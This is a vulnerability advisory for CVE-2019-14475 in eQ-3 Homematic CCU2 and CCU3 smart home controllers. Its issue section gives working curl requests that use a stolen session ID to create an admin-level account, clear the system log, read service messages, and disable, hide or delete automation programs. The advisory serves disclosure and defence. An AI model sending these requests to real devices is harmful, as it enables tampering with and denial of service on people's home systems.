CVE-2019-14475 eQ-3 Homematic CCU2 and CCU3 use session IDs for authentication but lack authorization checks. An attacker can obtain a session ID from CVE-2019-9583, resulting in the ability to read the service messages, clear the system protocol, create a new but not working user account in the system, modify/delete internal programs, etc. pp.
Overview
- CVE: CVE-2019-14475
- Author: psytester
- Title: eQ-3 Homematic CCU2 and CCU3 use session IDs for authentication but lack authorization checks. An attacker can obtain a session ID from CVE-2019-9583, resulting in the ability to read the service messages, clear the system protocol, create a new but not working user account in the system, modify/delete internal programs, etc. pp.
- Vulnerability Type: CWE-285 Improper Authorization
- CVSSv3 Base Score: 10.0
- CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Publishing Date: 03.08.2019
- Updated: –
- Vendor: eQ-3 AG
- Product: Homematic CCU2 and CCU3
- Vendor contacted: 07.05.2019
- Vendor confirmation: N.A.
- Vendor patch: N.A.
- Vendor Reference: N.A.
- Affected Firmware version of CCU2: 2.47.12, 2.47.15 tested, but certainly even before that too
- Affected Firmware version of CCU3: 3.47.10, 3.47.15 tested, but certainly even before that too
Background
From vendor’s website for CCU2:
HomeMatic Central Control Unit CCU2
Homematic Central Control Unit is the central element of your Homematic system, offering a whole range of control, monitoring and configuration options for all the Homematic devices in your installation
[….]
From vendor’s website for CCU3:
The Central Control Unit CCU3 is the central element for local control of the Homematic IP smart home system. It represents the next generation of our proven Homematic Central Control Units CCU1 and CCU2. Operation via the Central Control Unit CCU3 can be used alternatively to the Homematic IP Access Point. While the Access Point establishes the connection to the free Homematic IP cloud and enables operation of the smart home system via a smartphone app, the Central Control Unit CCU3 works locally via a browser-based web interface (WebUI). Thanks to local configuration and operation as well as the option to create direct device connections, reliable and fail-proof operation of the smart home system is guaranteed at all times – even in the event of Internet failures.
[….]
Past eQ-3 press release about taking security updates seriously (in German only):
[…]
eQ-3 ist es wichtig, dass auch solche Lücken geschlossen werden, die für die meisten Installationen keine Rolle spielen.
[…]
Obwohl nur Nutzer betroffen sind, die gegen Sicherheitshinweise von eQ-3 verstoßen oder seit mehreren Jahren keine Sicherheitsupdates installiert haben, gibt eQ-3 solchen Fällen hohe Priorität und behebt entsprechende Sicherheitslücken schnellstmöglich nach Bekanntwerden in neuen Software-Versionen und Hotfixes.
[…]
Issue Description
While analyzing the CCU web interface based on given page objects and the WebUI calls behind in browser developer console, an Improper Access Control vulnerability has been identified. With obtaining a SessionID from CVE-2019-9583 it can be exploited in order to start an Denial of Service and Information Disclosure at the WebUI. This vulnerability can be exploited by unauthenticated attackers with access to the web interface.
First get a SessionID from any page detected by CVE-2019-9583
Create your own admin level (level = 8) account ‘AddOwnAdminAccount’ - but (un)fortunately this account does not work, because the password is not set. Bad enough that it is partly possible:
curl -X POST -i 'http://1.2.3.4/esp/system.htm?sid=@JLS011UTXB@' --data '<prototypejs><![CDATA[string action = "saveUser";integer iUserid = 0;string userName = "AddOwnAdminAccount";string firstName = ""; string lastName = "";string sSysVars = "";integer iPwChanged = 0; string pw = "myPassword";integer iLogin = 0;integer dev = 0;integer level = 8;boolean bEasy = true; string phone = "";string mail = "";]]></prototypejs>'
But with such SessionID you can really do other tasks on the system!
Just some examples…
Clear the system protocol:
curl -X POST -i 'http://1.2.3.4/esp/system.htm?sid=@JLS011UTXB@' --data '<prototypejs><![CDATA[string action = "ClearHistoryData";]]></prototypejs>'
Read the service messages (device communication errors, etc.):
curl -X POST -i 'http://IP_der_CCU/esp/system.htm?sid=@JLS011UTXB@' --data '<prototypejs><![CDATA[string action = "UpdateUI";]]></prototypejs>'
manipulation of programs/scripts (Home page > Programs and connections > Programs)
a program/script is identified by an ID, you may just guess the number or you iterate through a range.
This example is manipulating the program/script id = "1603"
deactivate a program/script:
curl -X POST -i 'http://1.2.3.4/esp/programs.htm?sid=@JLS011UTXB@' --data '<prototypejs><![CDATA[string action = "SetActive";string id = "1603";string value = "false";]]></prototypejs>'
Set a program/script to inoperable:
curl -X POST -i 'http://1.2.3.4/esp/programs.htm?sid=@JLS011UTXB@' --data '<prototypejs><![CDATA[string action = "SetOperate";string id = "1603";string value = "false";]]></prototypejs>'
Set a program/script to invisible:
curl -X POST -i 'http://1.2.3.4/esp/programs.htm?sid=@JLS011UTXB@' --data '<prototypejs><![CDATA[string action = "SetVisible";string id = "1603";string value = "false";]]></prototypejs>'
Delete a program/script:
curl -X POST -i 'http://1.2.3.4/esp/programs.htm?sid=@JLS011UTXB@' --data 'string action = "DeleteProgram";string id = "1603";'
CVE
CVSSv3 Base Score
CVSSv3 Base Score: 10.0
CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Credit
Not owning an original CCU2 or CCU3, but you want to analyze the CCU ‘for free’?
You can download
piVCCU for running the original CCU3 Firmware in lxc container on RaspberryPi
RaspberryMatic for running the opensource OCCU based release on different boards
Disclaimer
The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.
The contents of this advisory are copyright (c) 2019 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.